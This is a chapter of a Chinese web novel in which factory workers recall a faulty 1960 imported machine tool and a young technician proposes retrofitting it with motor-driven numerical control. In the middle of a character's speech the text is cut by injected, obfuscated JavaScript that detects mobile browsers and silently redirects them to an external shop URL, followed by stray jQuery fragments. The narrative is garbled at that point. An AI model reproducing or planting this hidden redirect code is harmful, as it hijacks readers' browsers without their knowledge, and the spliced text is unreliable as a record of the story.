仓库深处，昏黄的灯光下，那台蒙尘多年的“老古董”终于露出了全貌。


    孟工抚摸着冰冷的铸铁床身，眼神里满是追忆。他缓缓开口，声音在空旷的仓库里回荡，仿佛在唤醒一段尘封的岁月。


    “这台机床是1965年秋天，随着我们厂整体内迁，从永安老厂址千辛万苦运过来的宝贝之一。当年，咱们的老厂长费了九牛二虎之力，通过特殊渠道，用一批紧俏的农产品外汇配额，才从国外一家并不算顶尖但以精密著称的小厂换来了它。连同它一起来的，还有三箱当时看来像天书一样的外文图纸和操作手册。”


    他示意赵之凝和围拢过来的老师傅们看机床上一块模糊的铭牌，上面蚀刻的外文和数字勉强可辨：“制造年份是1960年，在那个年代，这算是相当先进的专用设备了。它的设计初衷，就是为了高精度、小批量加工结构复杂、形位公差要求高的零件。”


    “看见这个复合主轴了吗？”孟工指着机床中一个结构精巧的部位，“它能同时完成内孔精镗和端面精密铣削，只要一次装夹。这在当时，是了不得的工艺。”


    老车工张师傅忍不住插话，他是当年少数操作过这台机床的人之一：“孟工说得没错，这老家伙，干出来的活是真漂亮！那时候做一批精密仪器上的核心轴承，非它不可。”他的语气里充满了怀念，但随即又摇了摇头，“可这家伙，脾气也怪得很！”


    赵之凝立刻被吸引了注意力：“张师傅，您仔细说说看？”


    张师傅在裤子上擦了擦手，凑近机床比划道：“首先是娇气，它对环境、液压油温的波动都敏感得很，稍微不对劲，加工精度就飘。但最要命的，是这个进给系统。”


    他手轮旁边那一圈已经有些模糊的刻度盘：“理论上，转动手轮看刻度，就能精确控制刀具进给多少丝。但实际上，根本不准！”张师傅苦笑，“主要是这机床的进给跟液压系统是联动的，液压压力不稳，推动刀具的实际进给量就跟刻度对不上号。有时候你以为进了五丝，实际可能只有三丝，有时候又可能走了□□丝。”


    另一位钳工出身的李师傅补充道：“当年我们检测过，那套液压系统里的几个电磁阀、传感器等零件老化了，国内找不到替换件，图纸上也没标具体型号。国外那家小厂早就停产了，连问都没处问去。”


    张师傅接过话头：“所以后来，我们这些操作它的人，基本上就不怎么看刻度盘了。全凭经验，听切削声音，看铁屑颜色和形状，手里感觉着摇把的阻力，心里估摸着进刀量。老师傅还能勉强驾驭，新手根本玩不转。


    而且这样一来，加工效率就低了，做一个活，得反复测量、调整，小心翼翼，比用普通万能铣加手工修配快不了多少，就是胜在稳定性稍好、一次成型精度高些。


    后来它控制系统的主板又不知道出了什么故障，时好时坏，生产任务一紧张，谁也不敢指望它，就这么搁置了。”


    听完张师傅和李师傅你一言我一语的回忆，仓库里陷入了短暂的安静，只有远处隐约传来的车间轰鸣。


    赵之凝没吭声，她往前走了两步，手指轻轻摸了摸机床，那上面的防锈漆早就斑驳了，摸上去有些粗粝。


    “心里估摸着干……”她低声重复了一遍张师傅的话，像是自言自语，又像是在问这台沉默的机器，“那要是估摸错了呢？”


    张师傅叹了口气，从油污的工作服上衣口袋摸出半包揉皱的烟，想了想又塞回去，这里是仓库重地。“错了就认栽呗。轻了，再进一刀；重了，那活儿就算瞎了，料也废了。那时候好钢多金贵啊，废一个，心疼得好几天吃不下饭。所以干这活儿，得是老师傅，还得是精神头最好的时候，跟伺候祖宗差不多。”


    赵之凝绕着机床慢慢走，目光一寸寸地观察每一个部件。她在控制面板前蹲下来，看着那些外文标识的旋钮和早已暗淡的暗示灯。“所以，它的控制和液压都不听使唤，但机械部分其实还是好的吧？”


    “可以这么说。”孟工的声音从后面传来，他手里拿着几份发黄的图纸，“床身、导轨、主轴、丝杠，基础精度还在。当年可是花了大价钱的，用料和工艺没得说。就是这套控制系统和液压……”他摇了摇头，“怎么都修不好。”


    在大家的议论声中，赵之凝指向那个用来手动调节进给的大手轮：“张师傅，如果……咱们不要这个手轮了呢？也不要那套时好时坏的液压推着刀走了呢？”


    张师傅一愣：“不要？那咋进刀？用手推啊？”


    “用电。”赵之凝吐出两个字，转身看向孟工和王科长，语气里带着一种压不住的跃跃欲试。


    “我在沪城学习的时候，见过一种控制方法。用一个小电机，接受电信号指挥，转多少角度，走多少距离，非常精确。我们可以用它，直接带着丝杠转，代替这个手轮和液压。”


    王科长扶了扶眼镜，疑惑道：“小电机？像咱们车床上的那种？那怎么控制它转多转少？”


    “用数控技术。”赵之凝说出这个让大家熟悉又陌生的词，周围都安静了下来。


    赵之凝尽量让自己的话听起来不那么像天书，讲解起如何利用数控系统来辅助加工。


    她一边说，一边用手比划着，仿佛面前就有一个看不见的控制台。“这样一来，操作师傅就不用再凭手感、听声音去估摸。他只需要在开工前，把图纸上的尺寸转换成几个数字，输入进去。然后装夹工件，按启动。剩下的，就交给电机和控制系统，加工到位，自动退刀、停车。”


    仓库里静悄悄的，只有她清亮的声音在回荡。几个老师傅听得似懂非懂，脸上写满了惊奇和怀疑。


    老钳工罗师傅却忍不住了，从人群后面挤到前面来：“小赵同志，你说得轻巧，用电？还数控？我在这厂里干了这么多年，车铣刨磨啥都见过，就没见过机床自己认数、自己走刀的！那不成精了？况且，你说的这种技术，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065225|192171||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    咱厂里有吗？没有！就算有，往哪装？这线路怎么接？都不是小事啊！”


    赵之凝认出来，这正是当初她升二级工时，晋级考试场上见过的主考官。


    罗师傅的一番话，像冷水泼进热油锅，瞬间激起了大家的讨论。


    张师傅也插嘴道：“这可不是在课堂上画图，是真刀真枪！这台机床，虽然现在是用不得了，也是厂里的老家底，当年换来多不容易！万一这一通改，没改好，反而把剩下的好部件弄坏了，彻底成一堆废铁，也怪可惜的。这个责任，谁来担呢？”


    不少老师傅默默点头，看向赵之凝的眼神里，担忧多于信任。


    是啊，想法听着新奇，可太玄乎了。


    她一个出去学了一年的姑娘家，能摆弄明白这二十年前的老进口货？


    赵之凝迎着大家质疑的目光，没有躲闪，也没有急着争辩。


    等大家七嘴八舌地说完了，她才开口：“你们说得有道理，没有现成的电机，也没有成熟的数控系统，要担的责任更是重大。但是，张师傅，您刚才也说了，当年用它干出好活，多不容易。现在，它就因为一些零件坏了，躺在这里生锈，眼看着能救急的订单被卡住，您心里不觉得可惜吗？”


    她轻轻拍了拍老机床，“它的身子骨还在，应该还能干活。我们缺的，就是一套新的、听话的“”’脑子’。买新的机床要十万块，厂里困难，那我们为什么不能试试，自己给它配一副呢？”


    孟工一直没有说话，虽然这个“老古董”是他提起来的，但他心里其实也没有底。当年找了那么多专家来修，都没有什么起色，这次临时起意，也不过是一次侥幸的尝试。


    他的目光在机床、赵之凝和几位老师傅之间来回移动，许久，他缓缓开口：“大家的担心，我能理解，这活儿，有风险。”


    不过，他话锋一转：“可是，小赵说的，也在理。这老伙计躺着，就是废铁；能站起来，就是宝贝。十万块，厂里一时半会儿掏不出来，订单也等不起。”他顿了一下，看向赵之凝，“小赵，你真有把握？不是脑袋一热？”


    赵之凝深吸一口气：“孟工，我没有百分之百的把握。但我有六七成的思路，知道关键难点在哪里，该怎么去攻关。我愿意立军令状，尽全力去试。如果最终失败，耽误了生产，我接受任何处分。”


    “处分不处分的，以后再说。”孟工摆摆手，做出了决定，“这样，成立个临时攻关小组。我挂个名，实际由赵之凝负责技术把关。王科长，你协调厂里，尽量支持他们需要的元器件采购，走特批。


    老张、老李、老罗，你们几位经验丰富，机械部分的拆、改、装、调，你们来主导。另外，从各车间抽调青年技术骨干，一起来攻关。咱们丑话说前头，这是硬仗，可能会白干，可能会挨骂，但要是干成了……”


    他扫视一圈，“那就是给厂里立了一大功，也给咱们这些技术工人脸上增光！干不干？”